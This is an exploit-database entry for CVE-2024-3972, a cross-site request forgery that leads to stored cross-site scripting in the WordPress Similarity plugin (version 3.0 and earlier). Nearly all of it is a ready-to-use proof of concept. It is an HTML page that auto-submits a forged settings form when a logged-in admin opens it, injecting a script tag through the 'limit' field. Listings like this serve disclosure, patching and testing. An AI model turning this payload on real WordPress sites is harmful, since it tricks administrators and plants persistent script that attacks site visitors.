Exploit for Similarity <= 3.0 - Stored XSS via CSRF CVE-2024-3972

Name: Exploit for Similarity <= 3.0 - Stored XSS via CSRF CVE-2024-3972
Rating: 5 (39 reviews)

2024-05-24 | CVSS 9.0

## https://sploitus.com/exploit?id=WPEX-ID:55DFB9B5-D590-478B-BD1F-D420B79037FA
Make a logged in admin open an HTML file containing:

```
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/options-general.php?page=similarity%2Fsimilarity.php" method="post">
        <input type="hidden" name="limit" value='"><script>alert(3)</script>' />
        <input type="hidden" name="update_options" value="Update" />
        <input type="submit" value="Submit" />
    </form>
</body>
```